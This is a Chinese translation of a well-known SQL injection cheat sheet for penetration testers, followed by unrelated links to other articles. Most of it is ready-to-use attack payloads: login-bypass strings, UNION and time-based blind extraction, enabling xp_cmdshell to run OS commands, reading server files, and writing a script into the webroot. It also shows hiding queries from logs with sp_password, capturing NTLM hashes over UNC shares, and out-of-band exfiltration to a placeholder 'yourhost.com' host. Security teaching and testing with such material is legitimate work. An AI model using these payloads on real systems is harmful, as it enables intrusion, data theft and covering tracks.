什么是 SQL 注入速查表?


SQL注入速查表是可以为你提供关于不同种类 SQL注入漏洞 的详细信息的一个资源。这份速查表对于经验丰富的渗透测试人员,或者刚开始接触 Web应用安全 的初学者,都是一份很好的参考资料。


关于这份 SQL 注入速查表


这份 SQL 速查表最初是 2007 年时 Ferruh Mavituna 在他自己的博客上发布的。我们更新了它并将它移到了公司 CEO 的博客上。现在,这份速查表仅包含了 MySQL 、SQL Server,和有限的一些关于 Oracle 和 PostgerSQL 数据库的信息。表中的部分示例可能无法在每一个场景都正常运行,因为真实使用的环境中,可能因为括号的使用、不同的代码上下文以及出乎意料的、奇怪而复杂的 SQL 语句而有所差异。


示例提供给你关于潜在攻击的基本思路,而且几乎每节都包含有简短的说明。


  • M:MySQL

  • S:SQL Server

  • P:PostgreSQL

  • O:Oracle

  • +:可能出现在其他所有数据库


例如:


  • (MS)代表:MySQL 和 SQL Server 等

  • (M*S)代表:仅部分版本及有特殊说明的 MySQL,以及 SQLServer


目录表


  1. 语法参考,攻击样例以及注入小技巧

(1)行间注释

  • 使用了行间注释的 SQL 注入攻击样例

(2)行内注释

  • 经典的行内注释注入攻击样例

  • MySQL 版本探测攻击样例

(3)堆叠查询(Stacking Queries)

  • 支持堆叠查询的语言/数据库

  • 关于 MySQL 和 PHP

  • 堆叠注入攻击样例

(4)If 语句

  • MySQL 的 If 语句

  • SQL Server 的 If 语句

  • If 语句的注入攻击样例

(5)使用整数(Integers)

(6)字符串操作

  • 字符串的连结

(7)没有引号的字符串

  • 基于 16 进制的注入攻击样例

(8)字符串变体 & 相关知识

(9)Union 注入

  • UNION — 语言问题处理

(10)绕过登陆界面

(11)在SQL Server 2005 中启用 xp_cmdshell

(12)探测 SQL Server 数据库的结构

(13)从基于错误的 SQL 注入中快速提取数据的方法

(14)SQL 盲注

(15)掩盖痕迹

(16)MySQL 的额外说明

(17)二阶 SQL 注入

(18)带外(OOB)频道攻击


语法参考、攻击示例和注入小技巧


结束 / 注释掉 / 行注释


行间注释


注释掉查询语句的其余部分


行间注释通常用于忽略掉查询语句的其余部分,这样你就不用处理因为注入导致的语法变动。


— (SM)


DROP sampletable;--


# (M)


DROP sampletable;#


行间注释的 SQL 注入攻击示例


用户名:admin’–


SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'


这会让你以admin用户身份登录,因为其余部分的SQL语句被注释掉了。


行内注释


通过不关闭的注释,注释掉查询语句的其余部分,或者用于绕过黑名单过滤、移除空格、迷惑和探测数据库版本。


  • /*这里是注释内容*/ (SM)

    • DROP/*注释*/sampletable

    • DR/**/OP/*绕过过滤*/sampletable

    • SELECT/*消除空格*/password/**/FROM/**/Members


  • /*! MYSQL 专有 SQL */ (M)


这是 MySQL 的专有语法。非常适合用来探测 MySQL 版本。如果你在注释中写入代码,只有 MySQL 才会执行。你同样可以使用这个方法,让代码只在服务器版本高于指定版本才执行。


SELECT /*!32302 1/0, */ 1 FROM tablename


经典的行内注释 SQL 注入攻击示例


ID: 10; DROP TABLE members /*


在查询结尾简单地去除其他内容。等同于 10; DROP TABLE members —


SELECT /*!32302 1/0, */ 1 FROM tablename


如果 MySQL 版本高于 23.02 会抛出一个除数为 0(division by 0)的错误


MySQL 版本探测攻击示例


ID: /*!32302 10*/

ID: 10


如果 MySQL 的版本高于 23.02,执行上面两个查询你将得到相同的结果


SELECT /*!32302 1/0, */ 1 FROM tablename


如果 MySQL 版本高于 23.02 会抛出一个除数为 0(division by 0)的错误


堆叠查询


在一个事务中执行多个查询。这在每一个注入点都非常有用,尤其是后端使用了 SQL Server 的应用程序。


  • ; (S)


SELECT * FROM members; DROP members--


结束一个查询并开始一个新的查询。


语言 / 数据库堆叠查询支持表


绿色:支持;深灰色:不支持;浅灰色:未知


 


关于 MySQL 和 PHP


阐明一些问题


PHP – MySQL 不支持堆叠查询,Java 不支持堆叠查询(Oracle 我很确定,其他的就不太确定了)。通常来说 MySQL 支持堆叠查询,但在 PHP – MySQL 应用程序中大多数配置下的数据库层都不能执行第二条查询,也许 MySQL 客户端支持这个,我并不是很确定。有人能说明下吗?


堆叠注入攻击示例


  • ID: 10;DROP members —


SELECT * FROM products WHERE id = 10; DROP members--


这在正常SQL查询执行后将会执行 DROP members 语句。


If语句


根据If语句得到响应。这是盲注(Blind SQL Injection)的关键点之一,在盲注和精确的简单测试中都非常有用。


MySQL 的 If 语句


IF(condition,true-part,false-part)(M)


SELECT IF(1=1,'true','false')


SQL Server 的 If 语句


IF condition true-part ELSE false-part(S)


IF (1=1) SELECT 'true' ELSE SELECT 'false'


Oracle 的 If 语句


BEGIN

IF condition THEN true-part; ELSE false-part; END IF; END;(O)


IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;


PostgreSQL 的 If 语句


SELECT CASE WHEN condition THEN true-part ELSE false-part END;(P)


SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;


If 语句的 SQL 注入攻击示例


if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)


如果当前登录的用户不是 ”sa” 或 “dbo”,语句会抛出 除数为0 的错误。


整数的使用


对于绕过非常有用,如 magic_quotes() 和类似的过滤器,甚至是各种WAF。


  • 0xHEXNUMBER(SM)
    你可以这样使用 16 进制数。

SELECT CHAR(0x66)S

SELECT 0x5045 (这不是一个整数,而会是一个 16 进制字符串)(M

SELECT 0x50 + 0x45 (现在这个是整数了!)(M


字符串操作


字符串相关的操作。这些对于构造不含引号、绕过黑名单或探测后端数据库的注入非常有用。


字符串的连结


+ (S)


SELECT login + '-' + password FROM members


|| (*MO)


SELECT login || '-' || password FROM members


* 关于 MySQL 的 “||”


仅当 MySQL 在 ANSI 模式下这(指 “||” 符号)才会执行,其他模式下 MySQL 会当成 逻辑运算符 并返回 0。更好的方式是使用 MySQL 的 CONCAT() 函数。


CONCAT(str1, str2, str3, …) (M)


连接参数里提供的字符串。


SELECT CONCAT(login, password) FROM members


没有引号的字符串


有一些直接的方式可以使用字符串,但通常更合适的是使用 CHAR() (MS) 和 CONCAT() (M) 来生成无引号的字符串。


0x457578 M - 字符串的 16 进制表示

SELECT 0x457578

这在 MySQL 中会被当做字符串处理。在 MySQL 中更简单地生成 16 进制字符串的方式是使用下面这个方法:

SELECT CONCAT('0x',HEX('c:boot.ini'))


MySQL 中使用 CONCAT() 函数

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) M

这会返回‘KLM’。


SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)

这会返回‘KLM’。


SELECT CHR(75)||CHR(76)||CHR(77) (O)

这会返回‘KLM’。


SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

这会返回‘KLM’。


基于 16 进制的 SQL 注入示例


SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)


这会显示 c:boot.ini 的内容


字符串变体 & 相关知识


  • ASCII() (SMP)
    返回最左边字符的ASCII码的值。这是盲注的一个必备函数。SELECT ASCII(‘a’)


  • CHAR() (SM)
    将一个整数转换为对应的ASCII值。SELECT CHAR(64)


Union注入


通过union你能跨表执行 SQL 查询。 基本上你可以污染(注入)查询使它返回另一个表的记录。


SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members


这个查询会联结并返回 news 表和 members 表的所有记录。


另一个例子:


' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--


UNION – 语言问题处理


当你使用 Union 注入的时候,有时会遇到错误,因为不同语言的设置(表的设置、字段的设置、表或数据库的联结设置等等),下面这些函数对于解决以上问题很有用。这样的问题比较少见,但当你处理例如日文、俄文、土耳其文或其他类似的应用程序时,你就会发现了。


SQL Server (S)


使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS 或其他有效的方式 – 具体信息可以查看 SQL Server 的文档。


SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members


MySQL (M)


Hex() 基本上可以解决所有出现的问题。


绕过登录界面(SMO+)


SQL 注入入门指引,登录小技巧


  • admin’ —

  • admin’ #

  • admin’/*

  • ‘ or 1=1–

  • ‘ or 1=1#

  • ‘ or 1=1/*

  • ‘) or ‘1’=’1–

  • ‘) or (‘1’=’1–

  • ….

  • 以不同的用户登录 (SM*)
    ‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–


* 旧版本的 MySQL 不支持 union 查询


绕过检查 MD5 哈希的登录界面


如果应用是先通过用户名获取记录,然后再把返回的 MD5 值与你输入的密码的 MD5 进行比较,那么你就需要一些额外的技巧欺骗应用来绕过验证了。你可以将一个已知明文的 MD5 哈希和它的明文一起提交,这种情况下,应用会比较你的密码和你提供的 MD5 值,而不是从数据库获取的 MD5。


绕过 MD5 检查的例子 (MSP)


Username : admin

Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

 

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)


基于错误 – 探测列名


使用 HAVING 探测列名 – 基于错误(S)


顺序不分先后


  • ‘ HAVING 1=1 —


  • ‘ GROUP BY columnfromerror1 HAVING 1=1 —


  • ‘ GROUP BY columnfromerror1, columnfromerror2 HAVING 1=1 —


  • ‘ GROUP BY columnfromerror1, columnfromerror2,

    columnfromerror(n) HAVING 1=1 — and so on


  • 直到不再报错就完成了。


在 SELECT 查询中使用 ORDER BY 探测有多少个列(MSO+)


通过 ORDER BY 探测列数可以加快 UNION 注入的进度。


  • ORDER BY 1–

  • ORDER BY 2–

  • ORDER BY N– so on

  • 持续操作直到出现错误,报错时使用的数字就是列数了。


数据类型、UNION 等


提示:


  • 在使用 UNION 时总是搭配上 ALL,因为会存在相同值的字段,而缺省情况下,Union 都会尝试返回非重复的记录。


  • 在查询的开始处,可以使用 -1 或者其他不存在的值来去除左侧表中非必须的记录(前提是注入点在 WHERE 语句里)。如果你一次只想取得一条记录,这是非常关键的点。


  • 在对大多数数据类型的 UNION 注入中使用 NULL 代替猜测它是字符串、日期、整数等类型。


    • 盲注的情况下,要注意判断错误时来自数据库还是来自应用程序本身。因为像 ASP.NET 或有其他语言,通常在使用 NULL 值的时候会抛出错误(因为开发者们一般没有想过用户名字段会出现 NULL)


获取列类型


  • ‘ union select sum(columntofind) from users— (S)


    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’


    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.如果没有返回错误说明字段是数字类型(numeric).


  • 你也可以使用 CAST() 或者 CONVERT()


    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL–


  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-


    没有错误 – 语法是对的。这是 MS SQL Server 的语法。继续。


  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-


    没有错误 – 第一列是 integer 类型。


  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 —


    错误! – 第二列不是 integer 类型。


  • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-


    没有错误 – 第二列是 string 类型。


  • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-


    报错! – 第三列不是 integer 类型。


  • …Microsoft OLE DB Provider for SQL Server error ‘80040e07


    Explicit conversion from data type int to image is not allowed.


你在遇到 union 错误之前会遇到 convert() 错误! 所以从 convert() 开始,再用 union。


简单的注入(MSO+)


'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*


有用的函数 / 信息收集 / 存储过程 / Bulk SQL 注入说明


@@version(MS)


数据库的版本和关于 SQL Server 的详细信息。这是个常量,你能把它当做一个列来 select,而且不需要提供表名。同样,你也能在 insert、update 语句或者函数里使用它。


INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)


Bulk insert(S)


(补充说明:bulk insert 是 SQL Server 的一个命令)


插入一个文件的内容到表中。如果你不知道应用的内部路径,可以读取 IIS(仅限 IIS 6)的元数据库文件(metabase file,%systemroot%system32inetsrvMetaBase.xml)然后找出应用的路径。


  1. Create table foo( line varchar(8000) )


    1. bulk insert foo from ‘c:inetpubwwwrootlogin.asp’

    2. Drop 临时表,并重复另一个文件。


BCP(S)


(补充说明:BCP 是 SQL Server 的一个工具)


写文本文件。使用这个功能需要登录。


bcp “SELECT * FROM test..foo” queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar


SQL Server 中的 VBS 和 WSH(S)


开启 ActiveX 支持的情况下,你可以在 SQL Server 中使用 VBS 和 WSH 脚本编程。


declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ —


执行系统命令、xp_cmdshell(S)


众所周知,在 SQL Server 2005 中默认是禁用的。你需要 Admin 权限。.


EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’


用 ping 简单检查下 (在开始之前先配置好你的防火墙或嗅探器确认请求能发出)


EXEC master.dbo.xp_cmdshell ‘ping ‘


你无法从错误或 union 或其他的什么直接读取结果。


SQL Server 中的一些特殊表(S)


  • Error Messages
    .sysmessages


  • Linked Servers
    .sysservers


  • Password (2000 和 2005 版本都能被入侵,它们使用非常相似的哈希算法)
    SQL Server 2000:.sysxlogins
    SQL Server 2005 : sys.sql_logins


SQL Server 的其他存储过程(S)


  1. 命令执行(xp_cmdshell)


    exec master..xp_cmdshell ‘dir’


  1. 注册表相关(xp_regread)


    1. xp_regaddmultistring

    2. xp_regdeletekey

    3. xp_regdeletevalue

    4. xp_regenumkeys

    5. xp_regenumvalues

    6. xp_regread

    7. xp_regremovemultistring

    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServiceslanmanserverparameters’, ‘nullsessionshares’
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities’


  2. 管理服务(xp_servicecontrol)


  3. 媒体(xp_availablemedia)


  4. ODBC 资源(xp_enumdsn)


  5. 登录模式(xp_loginconfig)


  6. 创建 Cab 文件(xp_makecab)


  7. 域名列举(xp_ntsec_enumdomains)


  8. 结束进程(需要进程 ID)(xp_terminate_process)


  9. 创建新程序(实际上你想执行什么都可以了)


    sp_addextendedproc ‘xp_webserver’, ‘c:tempx.dll’
    exec xp_webserver


  10. 将文本文件写进 UNC 或内部路径(sp_makewebtask)


MSSQL Bulk 说明


SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q”DBCC SHOWCONTIG”

OPENROWSET (Transact-SQL)  – http://msdn2.microsoft.com/en-us/library/ms190312.aspx


你不能在 SQL Server 的 Insert 语句里使用子查询。


使用 LIMIT(M)或 ORDER(MSO)的注入


SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;


如果注入点在 limit 的第二个参数处,你可以把它注释掉或者使用 union 注入。


停止 SQL Server(S)


当你真的不开心了,可以使用 ‘;shutdown —


在 SQL Server 中启用 xp_cmdshell


默认情况下,在 SQL Server 2005 中 xp_cmdshell 和其他一些存在潜在危险的存储过程都是被禁用的。如果你有 admin 权限就可以启用它们了。


EXEC sp_configure ‘show advanced options’,1

RECONFIGURE


EXEC sp_configure ‘xp_cmdshell’,1

RECONFIGURE


探测 SQL Server 数据库的结构(S)


获取用户定义表


SELECT name FROM sysobjects WHERE xtype = 'U'


获取字段名


SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')


移动记录(S)


修改 WHERE 和使用 NOT IN 或 NOT EXIST


… WHERE users NOT IN (‘First User’, ‘Second User’)


SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one


使用恶劣的小技巧


SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as intSelect p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21


从基于错误的 SQL 注入中快速提取数据的方法(S)


';BEGIN DECLARE @rt varchar(8000) SET @rd=':'

SELECT @rd=@rd+' '+name FROM syscolumns

WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS')

   AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--


详细说明可以查看文章:从基于错误的 SQL 注入中快速提取数据的方法


探测 MySQL 数据库的结构(M)


获取用户定义表


SELECT table_name FROM information_schema.tables WHERE table_schema = 'tablename'


获取列名


SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tablename'


探测 Oracle 数据库的结构(O)


获取用户定义表


SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'


获取列名


SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'


SQL 盲注


关于 SQL 盲注


在一个良好的生产环境应用程序中,通常你无法在页面上看到错误(error)提示,所以你也就无法通过 Union 攻击或者基于错误的攻击中提取数据。你不得不使用盲注攻击来取得数据。SQL 盲注存在有两种类型:


一般盲注:你无法在页面中看到响应,但你仍然可以通过响应或 HTTP 状态码确定查询的结果;


完全盲注:无论你怎么注入也无法从输出看出任何变化。这样你只能通过日志记录或类似的来注入。虽然这并不常见。


在一般盲注情况中你可以使用 if 语句或者 WHERE 查询来注入(一般来说很容易),在完全盲注你需要使用一些延时函数并分析响应时间。因此你可以在注入 SQL Server 时使用 WAIT FOR DELAY ‘0:0:10’,注入 MySQL 时使用 BENCHMARK() 和 sleep(10),注入 PostgreSQL 时使用 pg_sleep(10),还有对 ORACLE 的一些 PL/SQL 小技巧。


真实且有点复杂的 SQL 盲注攻击示例


这些输出来自于一个真实的私有 SQL 盲注工具对使用 SQL Server 的后端程序的攻击和表名遍历。这些请求完成了探测第一个表名的首字符。因为是自动化攻击,SQL 查询比实际需求复杂一些。过程中我们通过二分查找算法尝试确定字符的 ASCII 值。


TRUE 和 FALSE 标记代表查询返回的是 true 或 false。


TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)


当最后两个查询失败我们可以毫无疑问地确定表名第一个字符的 ASCII 值是 80,这意味着第一个字符是 P。这就是使用二分查找算法进行 SQL 盲注的方法。另一个常见的方法是一位一位(bit)地读取数据。这两个方法在不同情况下都有效。


延时盲注


首先,在完全没有提示(really blind)的情况下才使用,否则使用 1/0 方式的错误辨认差异。其次,使用超过 20 秒的延时需要小心,因为数据库的 API 连接或脚本可能出现超时。


WAIT FOR DELAY ‘time’(S)


这个与sleep一样,等待指定的时间。通过 CPU 安全的方法让数据库等待。


WAITFOR DELAY '0:0:10'--


另外,你也可以使用分数,像这样


WAITFOR DELAY '0:0:0.51'


真实案例


  • 是否‘sa’用户?
    if (select user) = ‘sa’ waitfor delay ‘0:0:10’

  • ProductID = 1;waitfor delay ‘0:0:10’–

  • ProductID =1);waitfor delay ‘0:0:10’–

  • ProductID =1′;waitfor delay ‘0:0:10’–

  • ProductID =1′);waitfor delay ‘0:0:10’–

  • ProductID =1));waitfor delay ‘0:0:10’–

  • ProductID =1′));waitfor delay ‘0:0:10’–


BENCHMARK()(M)


基本上,很多人滥用这个命令来做 MySQL 的延时。小心使用,这会很快地消耗服务器的资源!


BENCHMARK(howmanytimes, do this)

真实案例


判断是否 root 用户


IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))


判断表是否存在


IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))


pg_sleep(seconds)(P)


睡眠指定的秒数。


SELECT pg_sleep(10);

睡眠 10 秒。


sleep(seconds)(M)


睡眠指定的秒数。


SELECT sleep(10);

睡眠10秒。


dbms_pipe.receive_message(O)


睡眠指定的秒数。


(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100)

THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)


{INJECTION} = 你想实际运行的查询。


如果条件为真(true),会在10秒后才响应。如果是假(false),延迟1秒就返回。


掩盖痕迹


SQL Server -sp_password 日志绕过(S)


出于安全原因,SQL Server 不会将包含 sp_password 的查询记录到日志中。. 所以如果你在查询中加入 –sp_password 选项,你执行的查询就不会出现在数据库日志中(当然,在 Web 服务器的日志里还是会有,所以可能的话尽量使用 POST 方法)


清晰的 SQL 注入测试


这些测试完全适用于 SQL 盲注和静默攻击。


  1. asp?id=4(SMO)

    1. asp?id=5-1

    2. asp?id=4 OR 1=1


  2. asp?name=Book

    1. asp?name=Bo’%2b’ok

    2. asp?name=Bo’ || ’ok(OM)

    3. asp?name=Book’ OR ‘x’=’x


MySQL 的额外说明


  • 子查询只在 MySQL 4.1 或以上版本才生效


  • 用户

    • SELECT User,Password FROM mysql.user;


  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;


  • SELECT … INTO DUMPFILE

    • 把查询写入一个新文件(不能修改已有的文件)


  • UDF 函数

    • create function LockWorkStation returns integer soname ‘user32’;

    • select LockWorkStation();

    • create function ExitProcess returns integer soname ‘kernel32’;

    • select exitprocess();


  • SELECT USER();


  • SELECT password,USER() FROM mysql.user;


  • admin密码哈希值的第一位

    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;


  • 读取文件

    • php?user=1+union+select+load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1


  • MySQL Load Data infile

    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );

    • create table foo( line blob );
      load data infile ‘c:/boot.ini’ into table foo;
      select * from foo;

    • 这个功能默认是没有开启的!

    • MySQL 的更多延时方法

    • select benchmark( 500000, sha1( ‘test’ ) );

    • php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

    • select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ );
      遍历数据,暴力猜解


潜在有用的 MySQL 函数


  • MD5()
    MD5 哈希

  • SHA1()
    SHA1 哈希

  • PASSWORD()

  • ENCODE()

  • COMPRESS()
    压缩数据,在 SQL 盲注读取大量二进制数据时很有用。

  • ROW_COUNT()

  • SCHEMA()

  • VERSION()
    等同于 @@version


二阶 SQL 注入


一般你在某个地方进行 SQL 注入并期望它没有被过滤掉。这是常见的隐藏层问题。


Name : ' + (SELECT TOP 1 password FROM users ) + '

Email : xx@xx.com


如果应用程序在一个不安全的存储过程(或函数、流程等)中使用了 name 字段,那么它会将第一个用户的密码写入到你的 name 字段。


通过强迫 SQL Server 来得到 NTLM 哈希


这个攻击能帮你得到目标服务器上 SQL Server 用户的 Windows 密码,不过你的接入连接可能会被防火墙拦截。这在内部渗透测试中非常有用。我们强迫 SQL Server 连接我们的 Windows UNC 共享(Windows 上常见的网络共享)并通过类似 Cain & Abel(网络嗅探和口令破解工具)的工具捕获 NTLM 会话数据。


从一个 UNC 共享进行 Bulk insert(S)


bulk insert foo from 'YOURIPADDRESSC$x.txt'


查看 Bulk Insert Reference 可以让你了解怎么使用 bulk insert。


带外攻击


SQL Server


{INJECTION} = 你想要执行的查询。


?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')

DNS 解析请求转到 {INJECT}.yourhost.com


?vulnerableParam=1; DECLARE <a href="http://www.jobbole.com/members/caogen">@q</a> varchar(1024); SET <a href="http://www.jobbole.com/members/caogen">@q</a> = ''+({INJECTION})+'.yourhost.comtest.txt'; EXEC master..xp_dirtree <a href="http://www.jobbole.com/members/caogen">@q</a>

DNS 解析请求转到 {INJECTION}.yourhost.com


MySQL


{INJECTION} = 你想要执行的查询。


?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('',({INJECTION}), 'yourhost.com')))

NBNS 查询请求或 DNS 解析请求转到 com


?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE 'yourhost.comshareoutput.txt')

将数据写到你的共享文件夹或文件


Oracle


{INJECTION} = 你想要执行的查询。


?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'') FROM DUAL)

嗅探程序将会保存结果


?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)

结果将会被保存到 HTTP 访问日志


?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)

你需要监测去到com DNS 解析请求


?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||.yourhost.com,80) FROM DUAL)

你需要监测去到com DNS 解析请求



译者简介


疯子船长CasYang:不务正业的后台开发,主业 Java,闲时读书 / 运维 / 产品 / 运营 / 项目管理 / 运动 / 音乐....


来源:http://mp.weixin.qq.com/s?__biz=MjM5OTA1MDUyMA==&mid=2655436960&idx=1&sn=dc865e1006bb07b5ff81a18f28f778e5&chksm=bd730cd78a0485c1f466cb791e78cde41601621df8f834c7e142b2ea3c928db9834635bc6e4e&mpshare=1&scene=23&srcid=0927SXRBYjQFZDEek6wPYdGD#rd

查看全文
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

相关文章

  1. IDEA - Tomcat 配置虚拟目录用来存放图片和访问图片

    目的配置tomcat虚拟目录用来存放图片和图片的访问;操作步骤1.点击工具栏的运行配置Edit ConfigurationsEdit Configurations2.在弹出的Run/debug Configurations中选中tomcat容器,选择deployment3.添加物理目录和并设置虚拟目录路径这里我选择了D盘下面的tmp文件夹作为物理目录…...

    2024/4/17 18:37:39
  2. 密码战争,区块链技术之路

    本文为区块链行业的知名创业者和投资者——“暴走恭亲王”龚鸣,在万向区块链蜂巢学院第五课上的演讲内容。龚鸣以现代计算机、密码学&区块链历史上十几位重要传奇人物为线索,从他们的故事,为大家介绍了区块链技术的演进之路。或许我们如今已经习惯了互联网带给我们生活的…...

    2024/4/17 18:37:27
  3. Java破解图片防盗链

    前言 今天想下载几张好看的壁纸,然后发现了一张是自己比较喜欢的额。然后点进去看看,WOW!好多好看的壁纸呀,于是我就起了贪念。哈哈!想把他们这一组图片打包下载,小白的方法就是一张一张下载,那样对于我们程序员来说是很low的办法。于是我考虑使用万能的java来下载他们的…...

    2024/4/17 18:37:39
  4. 从零搭建前端开发环境(零)——基础篇:1.npm、git及项目初始化

